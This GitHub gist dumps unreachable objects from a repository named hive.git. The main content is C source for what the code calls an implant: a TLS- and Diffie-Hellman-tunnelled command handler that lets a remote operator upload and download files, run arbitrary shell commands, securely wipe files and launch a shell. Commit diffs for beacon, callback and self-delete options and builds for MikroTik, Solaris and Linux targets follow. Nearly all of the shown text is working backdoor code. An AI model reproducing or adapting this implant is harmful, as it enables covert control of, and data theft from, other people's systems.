Skip to content

Instantly share code, notes, and snippets.

@marc-etienne
Created November 9, 2017 17:58
Show Gist options
  • Save marc-etienne/526516e0a1b1d3ed78f3b8271c7a428b to your computer and use it in GitHub Desktop.
Save marc-etienne/526516e0a1b1d3ed78f3b8271c7a428b to your computer and use it in GitHub Desktop.
Vault in Vault8
This file has been truncated, but you can view the full file.
$ git --git-dir hive.git/ fsck --unreachable
Checking object directories: 100% (256/256), done.
Checking objects: 100% (3226/3226), done.
unreachable blob 1fc0d6f698295567da02ca0512b08fb7a1ae9734
unreachable tree f5c2ab4a8ef13584d9c8b516e16698b588c5b826
unreachable commit 4583a47e7d754b298b8effea347774ced2676685
unreachable tree 87831c99c83ba2ec9843bde5888db0d4154cc3ad
unreachable tag fdc342e458646c631685121ab1c40ec8df78a126
unreachable tree 19044b3e18d8318f6038a046816c3bc4da0aa64a
unreachable commit da05e44364553ed4d7e4ea483218b991358c43ed
unreachable commit e3051377e1442f730cad5b91666b60537b6224c4
unreachable commit 400713b117c1c53a94ce70c0970f22786bd8e4c1
unreachable tag 85871db9fbb09675c4a5bad6e0d71565e1128f68
unreachable blob ea8847a0d4443c4ad82432ca1fb3fb8028d544fe
unreachable tree a3c96ad34acf56386d817ed120a6f3cd122a555c
unreachable tag b54979bf6317aa5b894bb0487d0b6ee05762b74c
unreachable tag 900af8c8ac0cf6d5d004fd92d7f216d3b537f331
unreachable tree 964b9254cc1d8046078e62a2f6483d7a0dfa2cd4
unreachable tag 9c0b593bc443d372e2cf552aa6d129137cefacc5
unreachable blob 18cc444725a87f014a052415f124f618c9251bee
unreachable blob 28cc9f96ec0286cb55f0bee984133abaaadc480d
unreachable commit cfcc590daa495a09ce5971976ad4db641eba3a89
unreachable tag a70d8dbef7508dbf61bb40ee2645502a8ae105f1
unreachable tree b2cd789d776d3c46aae1b6df0df0ee054cb57f0e
unreachable tree 234f4d5d042389509f119ec887883637ff2e15fd
unreachable tag 8c4f979f3a1b63ea952294b863e12ba89d839d03
unreachable tree 9d0f9fa484932492aed04a28a7e18d205921d449
unreachable blob 0dd02dafc965675a9e2960fadf665e2a2235d2f1
unreachable tree 20d0dbba1ac74181c98ad0399c3d77dda66b7f7d
unreachable tree 45d3861c421ba2fdf0e1da709b93e68fdc455153
unreachable commit 4e13e648aaa679ef8dd5d7b56065bc3a3e406cf8
unreachable blob 65d3a7860d60f2bd8334a7cacc2495043153a49a
unreachable blob 79939e33fc32ad05fe54022dc49450d878a28ae2
unreachable commit dfd4a30c06ce11fbb4ace53940b9419be6e7477a
unreachable tree d855b88d574a5d86697769027eaef7f3ffc797ff
unreachable commit 9b1609513674353568b81d4174b4860789513ae1
unreachable tree e55809ccffae48cb3035454b386212a8a34c31d1
unreachable tree 8a59ea367d7c504edf365773e72c19f2049b1330
unreachable tree 899a792074a75239162a7579a425ef998d7e9c36
unreachable tree b79a9ddbc98057db3b3891a1e0be6d92327f3754
unreachable tag eb5a11e31406d93b8859d694356a37f691b37d19
unreachable blob 9fdc8c66daa6bca0edcb4bb918f16870a5b552ed
unreachable tag ea5cf1df2aaadac6d4c36ffdc10bc51b3d66bd25
unreachable tree 2cde58e84463b4067ff9258680102ed5c12492de
unreachable tree 781e677f13ce2c56fd30bd172c9e3aa2ed0cc15b
unreachable blob 3f1fe3ff5c81bf7fe4b3db4f0c71eded69538a7b
unreachable commit 9b9fa3999124dd2960ae8ae45e58abc2574961d5
unreachable tag 5ce0c7f70e2cde85df498cac0046e2a7fef0add3
unreachable tree b2e03ee82a2283a31545080b8b47a7c03ab3f096
unreachable tree 9a212b172266e0096b7d39121c354b843769ee21
unreachable tree 6063c8d2a9b238c7ef6108fa6eaefb594d329d3b
unreachable tree 6ea37a59891dd441c6cd3f928eece64a656fd993
unreachable tag ee2452859b818381f61e14dc62ca7f727073316b
unreachable tag 7fa6d24bca8da9d5fd30246616e5db41b780684e
unreachable tag 5ea9e6ee1a2fcd5714320646c1b90f0ce34a9b1f
unreachable tag c9e9d282d478e35374ad9d83985340751b80fb91
unreachable tag 042b1a8634e8fc74f5ebc123cdb4cbfc98e719b7
unreachable commit 67ab104ef22b83f19b6ffa571eec8a54ad0fa0ee
unreachable commit 122dc550c4ee8a4b707508d3072e33789f7195af
unreachable tag 1e2dc80385c500603c776ce7c29836c81079373e
unreachable tree 5e6f8443fbecc0c5d47e76e231ab385bccd5760f
unreachable blob 71724361dcd0e25bf3759024b48f8ac0b6fbbd8e
unreachable tree ce34fa978571d2cde6f6807771d4d3f54261a006
unreachable tag e475d462b2cfae9a2300467e728a16b7cd420408
unreachable tree e5b50033c2ab5b6741e7c401c830ead6668c73bb
unreachable tag de76eea7d8e1abd60e90b4f6d2170706dd45b7ae
unreachable tag 63383711ecbdfe020fbd4fb4e60cb866a2f03e4e
unreachable tree 2b393f8458e88efba8eb596f963731d415543a86
unreachable tree 997af90d83f18e956775dac9955dbe3771ff076f
unreachable tag c57a77230e31b2579ef13e3a309c60b69e5dcd32
unreachable tag 06bb9688fc8637523f1a5d39019d54e042f97352
unreachable blob 773b3c396c0e20ca0dc7015b0a1e5e887fe0d19d
unreachable tag 41fc5711837340d15cc90b84d99fb44a6871a4d6
unreachable tree a8be8f9465129fa4101e99193d0b3e104f16a71f
$ for o in $(git --git-dir hive.git/ fsck --unreachable | cut -f 3 -d' '); do git --git-dir hive.git/ show $o; done
#include "client_session.h"
#include "debug.h"
#include "compat.h"
#include "polarssl/net.h"
#if defined LINUX || defined SOLARIS
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/wait.h>
#endif
#include "launchshell.h"
#define _USE_32BIT_TIME_T
#define _INC_STAT_INL
#include <sys/stat.h>
#include "../common/crypto/dhExchange.c"
static int Receive(int sock, unsigned char* buf, unsigned long size, unsigned long timeOut);
static int UploadFile(char* path, unsigned long size, int sock);
static int DownloadFile(char *sath, unsigned long size, int sock);
static int Execute( char *path );
static int DelFile( char *path );
static int ExpandEnvStrings( char* path, char** newpath);
static int SecureDelete( char *path );
static int hstat( int fd );
const unsigned long CMD_TIMEOUT = 5*60*1000; // 5 minutes
const unsigned long PKT_TIMEOUT = 30*1000; // 30 sec.
static ctr_drbg_context ctr_drbg;
static ssl_context trig_ssl;
static ssl_session trig_ssn;
#define _fstat fstat
//******************************************************************
//***************** Cross Platform functions ***********************
//******************************************************************
unsigned int GenRandomBytes(unsigned char * buf, unsigned int size)
{
unsigned int i;
//srand((unsigned int)rand()); NOT NEEDED...
for (i=0;i<size;i++)
{
buf[i] = (unsigned char)(rand() % 255);
}
return 0;
}
//******************************************************************
int write_all( int fd, void *ptr, int n )
{
int nleft;
int nwritten;
nleft = n;
while ( nleft > 0 )
{
if (( nwritten = write( fd, ptr, nleft )) < 0 )
{
// if first time through, error
if ( nleft == n ) return (-1);
// else, return what we were successful in writing
else break;
}
else if ( nwritten == 0 )
{
break;
}
nleft -= nwritten;
ptr = (char *)ptr + nwritten;
}
return ( n - nleft );
}
//******************************************************************
//Waits for data to arrive on the socket and reads it in untill the buffer is full.
int Receive(int sock, unsigned char* buf, unsigned long size, unsigned long timeOut)
{
unsigned long receivedTotal = 0;
int received = 0;
fd_set readFDs;
struct timeval timeout;
timeout.tv_sec = timeOut/1000;
FD_ZERO(&readFDs);
if(sock != INVALID_SOCKET)
{
FD_SET(sock, &readFDs);
}
//while there is room in the buffer keep going
while(receivedTotal < size)
{
if( select(sock+1,&readFDs,0,0,&timeout))
{
// received = recv(sock,(char*)buf + receivedTotal,size - receivedTotal,0);
received = crypt_read( &trig_ssl, buf + receivedTotal, size - receivedTotal );
if(received == SOCKET_ERROR)
{
return SOCKET_ERROR;//recv sent back an error
}
if(received > 0)
{
receivedTotal += received;
}
else if(received == 0)
{
return receivedTotal;
}
}
}
return receivedTotal;
}
//******************************************************************
int UploadFile(char* path, unsigned long size, int sock)
{
REPLY ret; // Reply struct
DATA data; // File transfer Data struct
unsigned long retVal;
// D( unsigned long written; )
FILE* fd;
// Fill reply with random bytes
GenRandomBytes((unsigned char *)&ret, sizeof(ret));
// Attempt to create local file
fd = fopen(path,"wb");
if(fd == 0)
{
return errno;
}
DLX(2, printf("Opened path: %s\n", path));
// Set successful reply
ret.reply = 0;
retVal = 0;
//send reply (guessing it lets client know we are ready to receive data of file?)
// if(SOCKET_ERROR == send(sock,(const char*) &ret, sizeof(REPLY),0))
// TODO <= 0
if ( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*) &ret, sizeof(REPLY) ) )
{
retVal = -1;
goto Error;
}
DLX(2, printf("Acknowledged UploadFile command of size %d\n", (int)size));
while (size)
{
// D( printf( " DEBUG: %d bytes remaining\n", (int)size ); )
// Read 4k block of file data from client
// minimum is one 4k block
// TODO: do we need to call Receive() or just call crypt_read() directly??
if ( SOCKET_ERROR == Receive(sock,(unsigned char*) &data, sizeof(DATA), PKT_TIMEOUT))
goto Error;
if (size > sizeof(DATA))
{
// Write block
(void) fwrite( data.data, sizeof(DATA), 1, fd );
// written = fwrite( data.data, sizeof(DATA), 1, fd );
// D( printf( " DEBUG: %d bytes written\n", (int)written ); )
size -= sizeof(DATA);
}
else
{
// Write remaining bytes
(void) fwrite( data.data, size, 1, fd );
// written = fwrite( data.data, size, 1, fd );
// D( printf( " DEBUG: %d bytes written\n", (int)written ); )
size = 0;
}
}
fclose(fd);
// TODO: what do we want retVal to be? 0 on success?
return retVal;
Error:
retVal = -1;
fclose(fd);
unlink(path);
return retVal;
}
//******************************************************************
int DownloadFile(char *path, unsigned long size, int sock)
{
REPLY ret; // Reply struct
DATA data; // File transfer Data struct
struct stat buf;
FILE *fd;
//TODO: Review and fix/remove this.
// to silence compiler warnings. this var no longer needed because of the
// ssl_context declared global to this file
sock = sock;
// Attempt to open local file for download
fd = fopen( path, "rb" );
if ( fd == 0 )
{
DLX(1, perror("fopen(): "));
return errno;
}
// Get file size
// fstat() && stat() do not work on DD-WRT test surrogate for Linux MIPS-LE
// if( stat( path, &buf ) != 0 )
if( _fstat( fileno( fd ), &buf ) != 0 )
{
DLX(1, perror("fstat(): "));
goto Error;
}
size = buf.st_size;
if ( size == 0 )
{
// double-check size calculation
size = hstat( fileno( fd ) );
}
DLX(2, printf("Total fstat() size: %i\n", (int)buf.st_size));
DLX(2, printf("Total size: %i\n", (int)size));
DLX(2, printf("Remote file size is %ld\n", size));
// Setup reply struct
ret.reply = 0;
// Place file size in struct padding (Download was a late addition. Hence the hack.)
ret.padding = htonl(size);
//send reply with the file size so the client knows
// if(SOCKET_ERROR == send(sock, (const char*) &ret, sizeof(REPLY), 0))
if ( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*)&ret, sizeof(REPLY) ) )
{
DLX(2, printf("crypt_write() socket error\n"));
goto Error;
}
while (size)
{
if (size > sizeof(DATA))
{
(void)fread(&data.data,sizeof(DATA),1,fd);
// Read block
size -= sizeof(DATA);
}
else
{
(void)fread(&data.data,sizeof(DATA),1,fd);
// Read remaining bytes
size = 0;
}
//write out the file to the client
// if(SOCKET_ERROR == send(sock,(const char*)(unsigned char*) &data,sizeof(DATA), 0))
if ( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*)&data, sizeof(DATA) ) )
{
DLX(3, printf("crypt_write() socket error\n"));
goto Error;
}
}
fclose( fd );
return 0;
Error:
fclose( fd );
return errno;
}
//******************************************************************
int DelFile( char *path )
{
// Attempt to delete file
if(unlink(path) < 0)
{
return errno;
}
return 0;
}
//******************************************************************
// this function should only be called when a target does not support fstat()
// like DD-WRT v24-sp2 std
int hstat( int fd )
{
int fsize = 0;
// seek to end of file and lseek() will return offset.
// offset == file size
if ( ( fsize = lseek( fd, 0, SEEK_END ) ) < 0 )
{
DLX(4, perror("lseek(): SEEK_END: "));
return -1;
}
// reset offset back to beginning of the file
if ( lseek( fd, 0, SEEK_SET ) < 0 )
{
DLX(4, perror("lseek(): SEEK_SET: "));
return -1;
}
return fsize;
}
//******************************************************************
int SecureDelete( char *path )
{
FILE* fd;
struct stat buf;
unsigned char zerobuf[ 4096 ];
int remaining;
int numWritten;
int fsize;
// Just to make sure
memset( zerobuf, 0, 4096 );
//First open the file with the flags f+b
fd = fopen(path,"r+b");
//check to see if file opened
if(fd == 0)
{
D( perror( "fopen()" ); )
return errno;
}
// Get file size
if( _fstat(fileno(fd),&buf) != 0)
{
D( perror( "fstat()" ); )
goto Error;
}
fsize = buf.st_size;
// for the DD-WRT v24-sp2 (11/02/09) std, fstat() not working correctly. It will always
// return buf.st_size == 0. File still deleted, but not securely. This presents a greater
// problem for Download() which relies on fstat() returning a proper file size priot to txfr
if ( fsize == 0 )
{
// double-check size calculation
fsize = hstat( fileno( fd ) );
}
// Loop as necessary while calling fwrite() to write zeroes out to the original file:
//
remaining = fsize;
while ( remaining > 0)
{
numWritten = 0;
numWritten = fwrite( zerobuf, 1, MIN( 4096, remaining) ,fd);
if(numWritten <= 0)
{
D( perror( "fwrite()");)
goto Error;
}
remaining -= numWritten;
}
fflush(fd); //Flush the CRT buffers... this will send to OS buffers
//... so flush the OS buffers so that the zeros are actually written to disk
#if defined LINUX || defined SOLARIS
if ( 0 != fsync( fileno(fd)) ) goto Error;
if ( 0 != fsync( fileno(fd)) ) goto Error;
if ( 0 != fsync( fileno(fd)) ) goto Error;
sync(); sync(); sync();
#endif
fclose(fd);
#ifdef _USE_UNLINK
unlink( path );
#else
if ( remove( path) != 0 )
{
// so far, the only platform that has not supported remove() is the
// DD-WRT v24-sp2 (11/02/09) std firmware flashed to a Linksys
// WRT54G v1.0 for surrogate testing of MikroTik MIPS-LE.
// Given prior successful testing with the MikroTik RouterOS on
// other hardware, remove() is expected to work.....
// With DD-WRT, remove() fails with "can't resolve symbol 'remove'"
DLX(2, perror("remove(): "));
goto Error;
}
#endif
return 0;
Error:
fclose( fd );
return errno;
}
unsigned long StartClientSession( int sock )
{
int fQuit = 0;
int retval = 0;
char* commandpath = 0;
int sKeyRet;
dhm_context *tunnelDhm;
DL(2);
// we have an established TCP/IP connection
// although we consider this the SERVER, for the SSL/TLS transaction,
// the implant acts as a SSL client
if ( crypt_setup_client( &ctr_drbg, &trig_ssl, &trig_ssn, &sock ) != SUCCESS )
{
DLX(2, printf("ERROR: crypt_setup_client()\n"));
crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
// start TLS handshake
DL(3);
if ( crypt_handshake(&trig_ssl) != SUCCESS )
{
DLX(2, printf("ERROR: TLS connection with TLS server failed to initialize.\n"));
crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
DLX(3, printf("TLS handshake complete.\n"));
//Tunnel Dhm
tunnelDhm = (dhm_context *) calloc(1, sizeof(dhm_context));
//TODO : make sure calloc succeeded...
DLX(4, printf( "Beginning to do tunnel Diffie Hellman Handshake.\n"));
sKeyRet= dhHandshake( tunnelDhm, &trig_ssl );
if (sKeyRet == 0)
{
DLX(4, printf("Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
else
{
DLX(4, printf("Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
//Check Diffie Hellman Key...
//See if Secret Key is available
//sKeyRet=find_DH_SecretKey(&trig_ssl);
//if (sKeyRet == 0)
//{
// DLX(4, printf( "A DH Secret Key was NOT found.\n"));
//}
//else
//{
// DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
//}
while(!fQuit)
{
COMMAND cmd;
REPLY ret;
int r;
// Fill reply buffer with random bytes
GenRandomBytes((unsigned char *)&ret, sizeof(REPLY));
// Get command struct. Willing to wait 5 minutes between commands
// set timeout. if we don't receive a command within this timeframe, assume we are hung and exit
// this timeout is reset each time a command is received.
alarm( SESSION_TIMEOUT );
if ( (r = crypt_read( &trig_ssl, (unsigned char *)&cmd, sizeof( COMMAND ))) < 0 )
{
DLX(4, printf("\tERROR: crypt_read(): ret = %d\n", r));
if (r == POLARSSL_ERR_NET_WANT_READ)
continue;
}
alarm( 0 );
// Expand the cmd.path to the proper path resolving ENVIRONMENT variables
if( commandpath != 0 )
{
free( commandpath );
commandpath = 0;
}
ExpandEnvStrings(cmd.path, &commandpath);
DLX(2, printf ("\tExecuting command: 0x%0x\n", cmd.command));
//act on command, THESE FOLLOWING VALUES ARE DEFINED IN THE Shell.h file.
switch(cmd.command)
{
case EXIT:
DLX(2, printf("EXIT command received.\n"));
fQuit = 1;
ret.reply = 0;
break;
case UPLOAD:
DLX(2, printf("UPLOAD command received.\n"));
ret.reply = UploadFile(commandpath, ntohl(cmd.size),sock);
break;
case DOWNLOAD:
DLX(2, printf("DOWNLOAD command received.\n"));
ret.reply = DownloadFile(commandpath, ntohl(cmd.size), sock);
break;
case EXECUTE:
DLX(2, printf("EXECUTE command received.\n"));
memset((unsigned char *)&ret, '\0', sizeof(REPLY)); //Clear up the reply...
ret.reply = Execute( commandpath );
break;
case DELETE:
DLX(2, printf("DELETE command received, attempting SECURE DELETE...\n"));
ret.reply = SecureDelete(commandpath);
//If SecureDelete failed, ret.reply is not 0 so try to use DelFile function
if (ret.reply != 0)
{
DLX(2, printf("Now attempting to UNLINK the file: %s\n", commandpath));
ret.reply = DelFile(commandpath);
}
break;
//TODO: The following code (from here through the exit) needs to be reviewed.
case SHUTDOWNBOTH:
DLX(2, printf("SHUTDOWN command received.\n"));
fQuit = 1;
ret.reply = 0;
crypt_write( &trig_ssl, (unsigned char*)&ret, sizeof(ret) );
// send(sock, (const char*)&ret, sizeof(ret),0);
closesocket(sock);
sock = INVALID_SOCKET;
retval = SHUTDOWN;
//TODO: Linux used "break", Solaris used "goto Exit". Investigate this further.
#ifdef LINUX
break;
#else
goto Exit;
#endif
case LAUNCHTRUESHELL:
DLX(2, printf("LAUNCHTRUESHELL command received.\n"));
ret.reply = launchShell(commandpath);
D( printf( " DEBUG: launchshell() returned %i\n", (int)ret.reply ); )
break;
default:
DLX(2, printf("Command not recognized.\n"));
fQuit = 1;
break;
}
// Send reply
// if( SOCKET_ERROR == send(sock, (const char*)&ret, sizeof(ret),0))
if( SOCKET_ERROR == crypt_write( &trig_ssl, (unsigned char*)&ret, sizeof(ret) ) )
{
closesocket(sock);
goto Exit;
}
}
// TODO: Instead of allowing this function to return to connectShell and then trigger_exec where then
// retval == SHUTDOWN is processed, why not process it here? it might eliminate some tracing
// back and forth.
Exit:
if( commandpath != 0 ) free( commandpath );
crypt_cleanup( &trig_ssl);
return retval;
}
int Execute( char *path )
{
//Assume success...
D(int rv);
int status=0;
pid_t pid;
char* receivedCommand;
#ifdef LINUX
#ifdef _USE_ASH
// and actually, on the MT, /bin/bash is a symbolic link to /bin/ash which is part of /bin/busybox
char* shell="/bin/ash";
#elif _USE_BASH
char* shell="/bin/bash";
#else
char* shell="/bin/sh";
#endif
#else
char* shell="/bin/sh";
#endif
receivedCommand = path;
pid = fork();
if (pid == 0)
{
//This is the child so execute the command...
execl( shell, shell, "-c", receivedCommand, NULL);
exit(EXIT_FAILURE);
}
else if (pid < 0)
{
//The fork failed, report the error;
status = -1;
}
else
{
//This is the parent process, Wait for the child to complete.
D(rv =) waitpid( pid, &status, 0);
DLX(2, printf("waitpid() returned %d while waiting for pid %d\n", rv, (int)pid));
if (WIFEXITED(status))
{
DLX(2, printf("Child terminated normally with exit status: %d\n", WEXITSTATUS(status) ));
}
if (WIFSIGNALED(status))
{
DLX(2, printf("Child was terminated by signal: %d\n", WTERMSIG(status) ));
}
}
DLX(2, printf("Received Command: %s, Status: %i\n", receivedCommand, status));
return(status);
}
int ExpandEnvStrings( char* path, char** newpath)
{
//TODO: Validate on Solaris
int retval = 0;
*newpath = (char*) malloc( sizeof( ((COMMAND*)0)->path) );
memcpy( *newpath, path, sizeof( ((COMMAND*)0)->path));
return retval;
}
tree f5c2ab4a8ef13584d9c8b516e16698b588c5b826
Makefile-include.arm
Makefile-include.linux-x86
Makefile-include.linux-x86_64
Makefile-include.mikrotik-mips
Makefile-include.mikrotik-mipsel
Makefile-include.mikrotik-ppc
Makefile-include.mikrotik-x86
Makefile-include.solaris-sparc
Makefile-include.solaris-x86
Makefile.arm
Makefile.linux-x86
Makefile.linux-x86_64
Makefile.mikrotik-mips
Makefile.mikrotik-mipsel
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.mipsel
Makefile.solaris-sparc
Makefile.solaris-x86
bzip2
bzip2-1.0.6/
crypto/
debug.h
polarssl
polarssl-1.1.8/
ssl
strings/
commit 4583a47e7d754b298b8effea347774ced2676685
Author: Jack M <jackmc@devlan.net>
Date: Fri Mar 14 15:38:14 2014 -0400
Prevent error exit on no beacon interval if beacon is disabled.
diff --git a/server/main.c b/server/main.c
index a9638b5..6eeb289 100644
--- a/server/main.c
+++ b/server/main.c
@@ -87,9 +87,10 @@ static void printUsage(char* exeName)
#ifdef SOLARIS
printf("\t\t-I <interface> - interface on which to listen\n");
#endif
- printf("\t\t-d <beacon delay> - initial beacon delay (in seconds, default: 2 minutes)D( \n");
+ printf("\t\t-d <beacon delay> - initial beacon delay (in seconds, default: 2 minutes)\n");
printf("\t\t-t <callback delay> - delay between trigger received and callback +/- 30 seconds (in seconds)\n");
printf("\t\t-s <self-delete delay> - since last successful trigger/beacon (in seconds, default: 60 days)\n");
+ printf("\n\t\t-D <debug level> - debug level between 1 and 9, higher numbers are more verbose\n");
printf("\t\t-h - print this help menu\n");
printf( "\n\tExample:\n" );
@@ -369,7 +370,7 @@ int main(int argc, char** argv)
return 0;
}
- if ( interval == 0 )
+ if ( initialDelay > 0 && interval == 0 )
{
D( printf("No Beacon Interval specified!\n"); )
D( printUsage(argv[0]); )
tree 87831c99c83ba2ec9843bde5888db0d4154cc3ad
.cproject
.project
Doxyfile
Makefile
README
client/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
tag 2.8-RC2
Tagger: Jack M <jackmc@devlan.net>
Date: Wed Dec 17 12:57:02 2014 -0500
Resolves premature termination of file transfers exceeding 40MB.
commit 301eef2780bb96663c763cdbcca1bf79e034884f
Author: Jack M <jack@neutrino.edb.devlan.net>
Date: Wed Dec 17 09:40:30 2014 -0500
Makefile changes plus a number of other tweaks.
diff --git a/client/Makefile.arch b/client/Makefile.arch
index 91310a7..ce54aaa 100644
--- a/client/Makefile.arch
+++ b/client/Makefile.arch
@@ -129,13 +129,13 @@ $(info )
.SILENT:
.PHONY: all
-all: $(LIBSSL) hclient debug
+all: hclient debug
.PHONY: release
release: hclient
.PHONY: hclient
-hclient: $(CLIENT_REBUILD) proj_strings.h $(LIBSSL) $(LIBCRYPTO) $(OBJS) $(LIBDEBUG)
+hclient: $(CLIENT_REBUILD) proj_strings.h $(LIBCRYPTO) $(LIBSSL) $(OBJS) $(LIBDEBUG)
if ! test $(DEBUG); then \
${CC} ${CFLAGS} -o ${BINARY} ${OBJS} $(LIBS) ${LDFLAGS}; \
${STRIP} ${BINARY}; \
diff --git a/common/crypto/Makefile b/common/crypto/Makefile
index 3fd6408..8f7fe70 100644
--- a/common/crypto/Makefile
+++ b/common/crypto/Makefile
@@ -61,8 +61,6 @@ endif
.SILENT:
.PHONY: $(CRYPTO_BUILD_OPTS)
-.PHONY: all
-
$(info )
$(info =========================================================================)
ifdef TARGET
@@ -88,7 +86,7 @@ ifdef TARGET
$(info )
endif
-$(LIBCRYPTO): $(CRYPTO_BUILD_OPTS) crypto_strings $(CRYPTO_OBJS)
+$(LIBCRYPTO): $(CRYPTO_BUILD_OPTS) crypto_proj_strings.h init_crypto_strings.o $(CRYPTO_OBJS)
printf "\tAR\t$@\n"
$(AR) $(ARFLAGS) $@ $(CRYPTO_OBJS)
echo "ARCH_BUILD_CRYPTO=$(TARGET)" > ARCH_BUILD
@@ -97,7 +95,6 @@ $(LIBCRYPTO): $(CRYPTO_BUILD_OPTS) crypto_strings $(CRYPTO_OBJS)
printf "=========================================================================\n"
.PHONY: crypto_strings
-crypto_strings: init_crypto_strings.o crypto_proj_strings.h
crypto_proj_strings.h: init_crypto_strings.c
init_crypto_strings.o: init_crypto_strings.c
init_crypto_strings.c: crypto_strings.txt
diff --git a/common/polarssl-1.1.8/include/polarssl/config.h b/common/polarssl-1.1.8/include/polarssl/config.h
index 6d62d9c..a56d8fd 100644
--- a/common/polarssl-1.1.8/include/polarssl/config.h
+++ b/common/polarssl-1.1.8/include/polarssl/config.h
@@ -469,8 +469,9 @@
* Requires: POLARSSL_TIMING_C
*
* Uncomment to enable the HAVEGE random generator.
-#define POLARSSL_HAVEGE_C
*/
+ #define POLARSSL_HAVEGE_C
+
/**
* \def POLARSSL_MD_C
@@ -690,7 +691,8 @@
*
* This module is used by the HAVEGE random number generator.
*/
-#define POLARSSL_TIMING_C
+ #define POLARSSL_TIMING_C
+
/**
* \def POLARSSL_VERSION_C
diff --git a/common/polarssl-1.1.8/library/Makefile b/common/polarssl-1.1.8/library/Makefile
index 94839d9..c744310 100644
--- a/common/polarssl-1.1.8/library/Makefile
+++ b/common/polarssl-1.1.8/library/Makefile
@@ -52,7 +52,7 @@ CFLAGS += -I../../debug -I../../crypto -I../include -I../ssl/include
ifdef DEBUG
CFLAGS += -DDEBUG -D_DEBUG -g -O0
ifeq ("$(DEBUG)", "2")
- CFLAGS += -DPOLARSSL_DEBUG_C -DPOLARSSL_DEBUG_MSG -DPOLARSSL_SSL_DEBUG_ALL
+ CFLAGS += -DPOLARSSL_DEBUG_C -DPOLARSSL_DEBUG_MSG -DPOLARSSL_SSL_DEBUG_ALL -DPOLARSSL_SELF_TEST
endif
else
CFLAGS += -Os
diff --git a/common/polarssl-1.1.8/library/ssl_cli.c b/common/polarssl-1.1.8/library/ssl_cli.c
index 3cef89d..fc132fd 100644
--- a/common/polarssl-1.1.8/library/ssl_cli.c
+++ b/common/polarssl-1.1.8/library/ssl_cli.c
@@ -759,7 +759,6 @@ int ssl_handshake_client( ssl_context *ssl )
while( ssl->state != SSL_HANDSHAKE_OVER )
{
SSL_DEBUG_MSG( 2, ( "client state: %d", ssl->state ) );
- DLX(5, printf("client state: %d\n", ssl->state));
if( ( ret = ssl_flush_output( ssl ) ) != 0 )
break;
diff --git a/common/polarssl-1.1.8/library/ssl_tls.c b/common/polarssl-1.1.8/library/ssl_tls.c
index f220fd2..fa1c7ff 100644
--- a/common/polarssl-1.1.8/library/ssl_tls.c
+++ b/common/polarssl-1.1.8/library/ssl_tls.c
@@ -558,6 +558,7 @@ static int ssl_encrypt_buf( ssl_context *ssl )
unsigned char *enc_msg;
size_t enc_msglen;
+ SSL_DEBUG_MSG( 3, ("Checkpoint") );
padlen = ssl->ivlen - ( ssl->out_msglen + 1 ) % ssl->ivlen;
if( padlen == ssl->ivlen )
padlen = 0;
@@ -580,9 +581,10 @@ static int ssl_encrypt_buf( ssl_context *ssl )
* Generate IV
*/
int ret = ssl->f_rng( ssl->p_rng, ssl->iv_enc, ssl->ivlen );
- if( ret != 0 )
+ if( ret != 0 ) {
+ SSL_DEBUG_MSG( 3, ("Error generating IV. ret = %x", ret) );
return( ret );
-
+ }
/*
* Shift message for ivlen bytes and prepend IV
*/
diff --git a/common/polarssl-1.1.8/programs/Makefile b/common/polarssl-1.1.8/programs/Makefile
index c8b6def..7f3f327 100644
--- a/common/polarssl-1.1.8/programs/Makefile
+++ b/common/polarssl-1.1.8/programs/Makefile
@@ -4,8 +4,9 @@
# To compile with PKCS11: add "-lpkcs11-helper" to LDFLAGS
CFLAGS += -I../include -D_FILE_OFFSET_BITS=64 -Wall -W -Wdeclaration-after-statement
+CFLAGS += -DPOLARSSL_SELF_TEST
OFLAGS = -O
-LDFLAGS += -L../library -lpolarssl $(SYS_LDFLAGS)
+LDFLAGS += -L../library -lpolarssl $(SYS_LDFLAGS) -L../../../common/crypto -lcrypto -L../../../common/debug -ldebug
APPS = aes/aescrypt2 aes/crypt_and_hash \
hash/hello hash/generic_sum \
diff --git a/ilm-client/Connection.cpp b/ilm-client/Connection.cpp
index 5d60241..d5062f7 100644
--- a/ilm-client/Connection.cpp
+++ b/ilm-client/Connection.cpp
@@ -16,7 +16,6 @@
extern "C" {
#include "crypto.h"
#include "proj_strings.h"
-#include "crypto_proj_strings.h"
#include "colors.h"
#include "debug.h"
}
diff --git a/ilm-client/Makefile b/ilm-client/Makefile
index a056956..62a1eeb 100644
--- a/ilm-client/Makefile
+++ b/ilm-client/Makefile
@@ -27,9 +27,6 @@ library: clean
.PHONY: clean
clean:
make -f Makefile.arch $@
-# rm -f *.o
-# cd $(CRYPTO) && $(MAKE) clean
-# cd $(SSL) && $(MAKE) clean
.PHONY: dist-clean
dist-clean: clean
diff --git a/ilm-client/Makefile.arch b/ilm-client/Makefile.arch
index 1b432ed..184687b 100644
--- a/ilm-client/Makefile.arch
+++ b/ilm-client/Makefile.arch
@@ -29,7 +29,7 @@ LIBCRYPTO = $(CRYPTO)/libcrypto.a
STRINGS = $(COMMON)/strings
LIBDEBUG = $(COMMON)/debug/libdebug.a
#===============================================================================
-.PHONY: force-rebuild
+
$(info )
$(info )
$(info =========================================================================)
@@ -41,14 +41,14 @@ include $(CRYPTO)/ARCH_BUILD
ifdef $(ARCH_BUILD_ILMCLIENT)
ifneq ("$(ARCH_BUILD_ILMCLIENT)", "$(TARGET)")
- ILMCLIENT_REBUILD:=clean
+ ILMCLIENT_REBUILD:=force-rebuild
$(info . Rebuilding ILMCLIENT))
else
ILMCLIENT_REBUILD:=
$(info . ILMCLIENT for $(TARGET) previously built.)
endif
else
- ILMCLIENT_REBUILD:=clean
+ ILMCLIENT_REBUILD:=force-rebuild
$(info . Building ILMCLIENT)
endif
@@ -145,12 +145,13 @@ $(info )
.SILENT:
.PHONY: all
